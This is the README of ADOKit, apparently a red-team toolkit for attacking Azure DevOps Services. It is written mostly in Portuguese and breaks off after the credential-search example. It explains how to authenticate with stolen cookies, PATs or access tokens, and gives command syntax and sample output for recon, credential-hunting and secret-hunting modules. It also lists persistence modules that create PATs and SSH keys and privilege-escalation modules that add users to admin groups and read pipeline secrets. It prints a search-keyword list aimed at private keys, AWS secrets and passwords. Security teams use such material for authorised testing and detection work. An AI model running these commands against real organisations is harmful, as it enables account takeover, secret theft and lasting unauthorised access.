
Kit de ataque modular que explora a API REST do Azure DevOps para reconhecimento, escalonamento de privilégios e persistência usando cookies ou PATs roubados.
# ADOKit
## Descrição
Azure DevOps Services Attack Toolkit - ADOKit é um kit de ferramentas que pode ser usado para atacar Azure DevOps Services aproveitando a API REST disponível. A ferramenta permite que o usuário especifique um módulo de ataque, juntamente com credenciais válidas (chave de API ou cookie de autenticação roubado) para a respectiva instância do Azure DevOps Services. Os módulos de ataque suportados incluem reconhecimento, elevação de privilégio e persistência. O ADOKit foi construído de forma modular, para que novos módulos possam ser adicionados no futuro pela comunidade de segurança da informação.
Detalhes completos sobre as técnicas usadas pelo ADOKit estão no [whitepaper](https://www.ibm.com/downloads/cas/5JKAPVYD) da X-Force Red.
### Black Hat USA Arsenal 2024
Slides da apresentação e demonstrações estão incluídos na pasta [BHUSA Arsenal 2024](https://github.com/h4wkst3r/adokit/blob/main/BHUSA_Arsenal_2024) neste repositório.
## Lançamento
* A versão 1.4.1 do ADOKit pode ser encontrada em Releases
## Table of Contents
- [ADOKit](#ADOKit)
- [Table of Contents](#table-of-contents)
- [Installation/Building](#installationbuilding)
- [Libraries Used](#libraries-used)
- [Pre-Compiled](#pre-compiled)
- [Building Yourself](#building-yourself)
- [Command Modules](#command-modules)
- [Arguments/Options](#argumentsoptions)
- [Authentication Options](#authentication-options)
- [Module Details Table](#module-details-table)
- [Examples](#examples)
- Recon
- [Validate Azure DevOps Access](#validate-azure-devops-access)
- [Whoami](#whoami)
- [List Orgs](#List-orgs)
- [List Repos](#List-repos)
- [Search Repos](#Search-repos)
- [List Projects](#list-projects)
- [Search Projects](#search-projects)
- [Search Code](#Search-code)
- [Search Files](#Search-files)
- [List Users](#list-users)
- [Search User](#search-user)
- [List Teams](#list-teams)
- [Search Team](#search-team)
- [Get Team Members](#get-team-members)
- [List Groups](#list-groups)
- [Search Groups](#search-groups)
- [Get Group Members](#get-group-members)
- [Get Project Permissions](#get-project-permissions)
- [Creds Search](#creds-search)
- [Get Build Logs](#get-build-logs)
- [List Build Logs](#list-build-logs)
- [Search Build Logs](#search-build-logs)
- Persistence
- [Create PAT](#create-pat)
- [List PATs](#list-pats)
- [Remove PAT](#remove-pat)
- [Create SSH Key](#create-ssh-key)
- [List SSH Keys](#list-ssh-keys)
- [Remove SSH Key](#remove-ssh-key)
- Privilege Escalation
- [Add Project Admin](#add-project-admin)
- [Remove Project Admin](#remove-project-admin)
- [Add Build Admin](#add-build-admin)
- [Remove Build Admin](#remove-build-admin)
- [Add Collection Admin](#add-collection-admin)
- [Remove Collection Admin](#remove-collection-admin)
- [Add Collection Build Admin](#add-collection-build-admin)
- [Remove Collection Build Admin](#remove-collection-build-admin)
- [Add Collection Build Service Account](#add-collection-build-service-account)
- [Remove Collection Build Service Account](#remove-collection-build-service-account)
- [Add Collection Service Account](#add-collection-service-account)
- [Remove Collection Service Account](#remove-collection-service-account)
- [Get Pipeline Variables](#get-pipeline-variables)
- [Get Pipeline Secrets](#get-pipeline-secrets)
- [Get Variable Groups](#get-variable-groups)
- [Get Service Connections](#get-service-connections)
- [Detection](#detection)
- [Roadmap](#roadmap)
- [References](#references)
## Installation/Building
### Libraries Used
The below 3rd party libraries are used in this project.
| Library | URL | License |
| ------------- | ------------- | ------------- |
| Fody | [https://github.com/Fody/Fody](https://github.com/Fody/Fody) | MIT License |
| Newtonsoft.Json | [https://github.com/JamesNK/Newtonsoft.Json](https://github.com/JamesNK/Newtonsoft.Json) | MIT License |
### Pre-Compiled
* Use o binário pré-compilado na seção Releases
### Building Yourself
Siga os passos abaixo para configurar o Visual Studio de modo a compilar o projeto você mesmo. Isso requer duas bibliotecas .NET que podem ser instaladas a partir do gerenciador de pacotes NuGet.
* Carregue o projeto do Visual Studio e vá em "Tools" --> "NuGet Package Manager" --> "Package Manager Settings"
* Vá em "NuGet Package Manager" --> "Package Sources"
* Adicione uma origem de pacote com a URL `https://api.nuget.org/v3/index.json`
* Instale o pacote NuGet Costura.Fody.
* `Install-Package Costura.Fody -Version 3.3.3`
* Instale o pacote Newtonsoft.Json
* `Install-Package Newtonsoft.Json`
* Agora você pode compilar o projeto você mesmo!
## Command Modules
* Recon
* <b>check</b> - Verifica se a organização usa Azure DevOps e se as credenciais são válidas
* <b>whoami</b> - Lista o usuário atual e suas associações a grupos
* <b>listorgs</b> - Lista organizações acessíveis ou todas as organizações no Azure DevOps
* <b>listrepo</b> - Lista todos os repositórios
* <b>searchrepo</b> - Busca por um repositório específico
* <b>listproject</b> - Lista todos os projetos
* <b>searchproject</b> - Busca por um projeto específico
* <b>searchcode</b> - Busca por código contendo um termo de pesquisa
* <b>searchfile</b> - Busca por arquivo com base em um termo de pesquisa
* <b>listuser</b> - Lista usuários
* <b>searchuser</b> - Busca por um usuário específico
* <b>listteam</b> - Lista equipes
* <b>searchteam</b> - Busca por uma equipe específica
* <b>getteammembers</b> - Obtém os membros de uma equipe específica
* <b>listgroup</b> - Lista grupos
* <b>searchgroup</b> - Busca por um grupo específico
* <b>getgroupmembers</b> - Lista todos os membros de um grupo específico
* <b>getpermissions</b> - Obtém as permissões de quem tem acesso a um determinado projeto
* <b>creds</b> - Busca por credenciais no código (palavras-chave listadas abaixo)
* ``` "pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password" ```
* <b>getbuildlogs</b> - Baixa os logs de build de um ou de todos os projetos
* <b>listbuildlogs</b> - Lista os logs de build de um ou de todos os projetos
* <b>searchbuildlogs</b> - Busca nos logs de build por um termo de pesquisa específico
* Persistence
* <b>createpat</b> - Cria um token de acesso pessoal para o usuário
* <b>listpat</b> - Lista os tokens de acesso pessoal do usuário
* <b>removepat</b> - Remove o token de acesso pessoal do usuário
* <b>createsshkey</b> - Cria uma chave SSH pública para o usuário
* <b>listsshkey</b> - Lista as chaves SSH públicas do usuário
* <b>removesshkey</b> - Remove a chave SSH pública do usuário
* Privilege Escalation
* <b>addprojectadmin</b> - Adiciona um usuário ao grupo "Project Administrators" de um determinado projeto
* <b>removeprojectadmin</b> - Remove um usuário do grupo "Project Administrators" de um determinado projeto
* <b>addbuildadmin</b> - Adiciona um usuário ao grupo "Build Administrators" de um determinado projeto
* <b>removebuildadmin</b> - Remove um usuário do grupo "Build Administrators" de um determinado projeto
* <b>addcollectionadmin</b> - Adiciona um usuário ao grupo "Project Collection Administrators"
* <b>removecollectionadmin</b> - Remove um usuário do grupo "Project Collection Administrators"
* <b>addcollectionbuildadmin</b> - Adiciona um usuário ao grupo "Project Collection Build Administrators"
* <b>removecollectionbuildadmin</b> - Remove um usuário do grupo "Project Collection Build Administrators"
* <b>addcollectionbuildsvc</b> - Adiciona um usuário ao grupo "Project Collection Build Service Accounts"
* <b>removecollectionbuildsvc</b> - Remove um usuário do grupo "Project Collection Build Service Accounts"
* <b>addcollectionsvc</b> - Adiciona um usuário ao grupo "Project Collection Service Accounts"
* <b>removecollectionsvc</b> - Remove um usuário do grupo "Project Collection Service Accounts"
* <b>getpipelinevars</b> - Recupera quaisquer variáveis de pipeline utilizadas em um determinado projeto
* <b>getpipelinesecrets</b> - Recupera os nomes de quaisquer segredos de pipeline utilizados em um determinado projeto
* <b>getvariablegroups</b> - Recupera quaisquer grupos de variáveis e as variáveis correspondentes utilizadas em um determinado projeto
* <b>getserviceconnections</b> - Recupera as conexões de serviço utilizadas em um determinado projeto
## Arguments/Options
* <b>/credential:</b> - credencial para autenticação (PAT ou Cookie). Aplicável a todos os módulos.
* <b>/url:</b> - URL do Azure DevOps. Aplicável a todos os módulos.
* <b>/search:</b> - Palavra-chave para pesquisa. Não aplicável a todos os módulos.
* <b>/project:</b> - Projeto para o qual realizar uma ação. Não aplicável a todos os módulos.
* <b>/user:</b> - Realizar uma ação contra um usuário específico. Não aplicável a todos os módulos.
* <b>/id:</b> - Usado com módulos de persistência para realizar uma ação contra um ID de token específico. Não aplicável a todos os módulos.
* <b>/group:</b> - Realizar uma ação contra um grupo específico. Não aplicável a todos os módulos.
## Authentication Options
Abaixo estão as opções de autenticação disponíveis no ADOKit ao autenticar em uma instância do Azure DevOps.
* **Stolen Cookie - UserAuthentication** - Este será o cookie `UserAuthentication` na máquina de um usuário para o domínio `.dev.azure.com`.
* `/credential:UserAuthentication=ABC123`
* **Stolen Cookie - AadAuthentication** - Este será o cookie `AadAuthentication` na máquina de um usuário para o domínio `.dev.azure.com`.
* `/credential:eyJ0...`
* **Personal Access Token (PAT)** - Será um token de acesso / chave de API que é uma única string.
* `/credential:apiToken`
* **Stolen Access Token** - Se você conseguir roubar ou renovar um token de acesso adequado, também pode utilizá-lo. Ao usar um token de acesso, ele deve ser válido para o recurso do Azure Resource Manager (ARM) - `"aud":"https://management.core.windows.net/"` ou Azure DevOps - `"aud":"499b84ac-1321-427f-aa17-267ca6975798"`
* `/credential:eyJ0..`
## Module Details Table
A tabela abaixo mostra as permissões necessárias para cada módulo.
Attack Scenario | Module | Special Permissions? | Notes
--- |--- | --- | ---
Recon | `check` | No |
Recon | `whoami` | No |
Recon | `listorgs` | No |
Recon | `listrepo` | No |
Recon | `searchrepo` | No |
Recon | `listproject` | No |
Recon | `searchproject` | No |
Recon | `searchcode` | No |
Recon | `searchfile` | No |
Recon | `listuser` | No |
Recon | `searchuser` | No |
Recon | `listteam` | No |
Recon | `searchteam` | No |
Recon | `getteammembers` | No |
Recon | `listgroup` | No |
Recon | `searchgroup` | No |
Recon | `getgroupmembers` | No |
Recon | `getpermissions` | No |
Recon | `creds` | No |
Recon | `getbuildlogs` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Recon | `listbuildlogs` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Recon | `searchbuildlogs` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Persistence | `createpat` | No |
Persistence | `listpat` | No |
Persistence | `removepat` | No |
Persistence | `createsshkey` | No |
Persistence | `listsshkey` | No |
Persistence | `removesshkey` | No |
Privilege Escalation | `addprojectadmin` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removeprojectadmin` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `addbuildadmin` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removebuildadmin` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `addcollectionadmin` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removecollectionadmin` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `addcollectionbuildadmin` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removecollectionbuildadmin` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `addcollectionbuildsvc` | Yes - `Project Collection Administrator`, `Project Colection Build Administrators` or `Project Collection Service Accounts` |
Privilege Escalation | `removecollectionbuildsvc` | Yes - `Project Collection Administrator`, `Project Colection Build Administrators` or `Project Collection Service Accounts` |
Privilege Escalation | `addcollectionsvc` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `removecollectionsvc` | Yes - `Project Collection Administrator` or `Project Collection Service Accounts` |
Privilege Escalation | `getpipelinevars` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Privilege Escalation | `getpipelinesecrets` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Privilege Escalation | `getvariablegroups` | Yes - `Contributors` or `Readers` or `Build Administrators` or `Project Administrators` or `Project Team Member` or `Project Collection Test Service Accounts` or `Project Collection Build Service Accounts` or `Project Collection Build Administrators` or `Project Collection Service Accounts` or `Project Collection Administrators` |
Privilege Escalation | `getserviceconnections` | Yes - `Project Administrator`, `Project Collection Administrator` or `Project Collection Service Accounts` |
## Examples
### Validate Azure DevOps Access
#### Use Case
> *Realiza uma verificação de autenticação para garantir que a organização está usando Azure DevOps e que as credenciais fornecidas são válidas.*
#### Syntax
Forneça o módulo `check`, juntamente com as informações de autenticação relevantes e a URL. Isso informará se a organização fornecida está usando Azure DevOps e, em caso positivo, tentará validar as credenciais fornecidas.
`ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Example Output```
C:\>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: check
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/28/2023 3:33:01 PM
==================================================
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
```
### Whoami
#### Caso de Uso
> *Obter o usuário atual e as associações de grupo do usuário*
#### Sintaxe
Forneça o módulo `whoami`, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o usuário atual e todas as suas associações de grupo.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
```
### Listar Organizações
#### Caso de Uso
> *Recuperar organizações usando um token de acesso fornecido.*
#### Sintaxe
Forneça ao módulo `listorgs` as informações de autenticação necessárias. Por padrão, este comando lista apenas as organizações acessíveis com o token de acesso fornecido.
- Use **`/mode:aad`** para enumerar **todas** as organizações DevOps dentro do locatário do Azure AD, independentemente do acesso direto.
- Use **`/endpoint:ENDPOINT_NAME`** para especificar um endpoint AEX personalizado.
- Pontos de extremidade adicionais podem ser identificados inspecionando o cookie `"X-VSS-DeploymentAffinity"` de `aex.dev.azure.com`.
`ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]`
`ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21`
#### Exemplo de Saída```
C:\>ADOKit.exe listorgs /credential:"eyj0..."
==================================================
Module: listorgs
Auth Type: Azure Access Token
Target URL: https://app.vssps.visualstudio.com
Timestamp: 3/14/2025 2:26:45 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
-----------------------------------------------------------------------------------
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
```
### Listar Repositórios
#### Caso de Uso
> *Descubra repositórios sendo usados em uma instância do Azure DevOps*
#### Sintaxe
Forneça o módulo `listrepo`, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome e a URL do repositório.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
```
### Search Repos
#### Use Case
> *Pesquise por repositórios pelo nome do repositório na instância do Azure DevOps*
#### Syntax
Forneça o módulo `searchrepo` e seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com as informações de autenticação e URL relevantes. Isso exibirá o nome do repositório e a URL correspondentes.
`ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`
`ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`
#### Example Output```
C:\>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchrepo
Auth Type: API Key
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 9:26:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
```
### Listar Projetos
#### Caso de Uso
> *Descubra projetos sendo usados na instância do Azure DevOps*
#### Sintaxe
Forneça o módulo `listproject`, juntamente com as informações de autenticação relevantes e a URL. Isso irá exibir o nome do projeto, visibilidade (público ou privado) e URL.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
```
### Pesquisar Projetos
#### Caso de Uso
> *Pesquise por projetos pelo nome do projeto na instância do Azure DevOps*
#### Sintaxe
Forneça o módulo `searchproject` e seus critérios de pesquisa no argumento da linha de comando `/search:`, juntamente com as informações de autenticação relevantes e a URL. Isso exibirá o nome do projeto correspondente, visibilidade (público ou privado) e URL.
`ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred`
`ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred`
#### Exemplo de Saída```
C:\>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
==================================================
Module: searchproject
Auth Type: API Key
Search Term: map
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:45:30 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
```
### Pesquisar Código
#### Caso de Uso
> *Pesquisar por código que contenha uma palavra-chave específica na instância Azure DevOps*
#### Sintaxe
Forneça o módulo `searchcode` e seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com as informações de autenticação relevantes e URL. Isso exibirá a URL do arquivo de código correspondente, juntamente com a linha do código que correspondeu.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Exemplo de Saída```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
```
### Pesquisar Arquivos
#### Caso de Uso
> *Pesquisar arquivos em repositórios que contenham uma palavra-chave no nome do arquivo no Azure DevOps*
#### Sintaxe
Forneça o módulo `searchfile` e os seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com qualquer informação de autenticação relevante e URL. Isto irá gerar o URL para o ficheiro correspondente no seu respetivo repositório.
`ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline`
`ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline`
#### Exemplo de Saída```
C:\>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
==================================================
Module: searchfile
Auth Type: Cookie
Search Term: test
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 11:28:34 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
----------------------------------------------------------------------------------------------------
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs
https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs
https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
```
### Pesquisa de Credenciais
#### Caso de Uso
> *Pesquise por código contendo segredos como senhas ou chaves de API no Azure DevOps*
#### Sintaxe
Forneça o módulo `creds`, junto com qualquer informação de autenticação relevante e URL. Isso irá exibir a URL do arquivo correspondente em seu respectivo repositório, e a(s) linha(s) correspondente(s) onde as credenciais estão presentes.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
```
---
[Read more](https://github.com/h4wkst3r/adokit)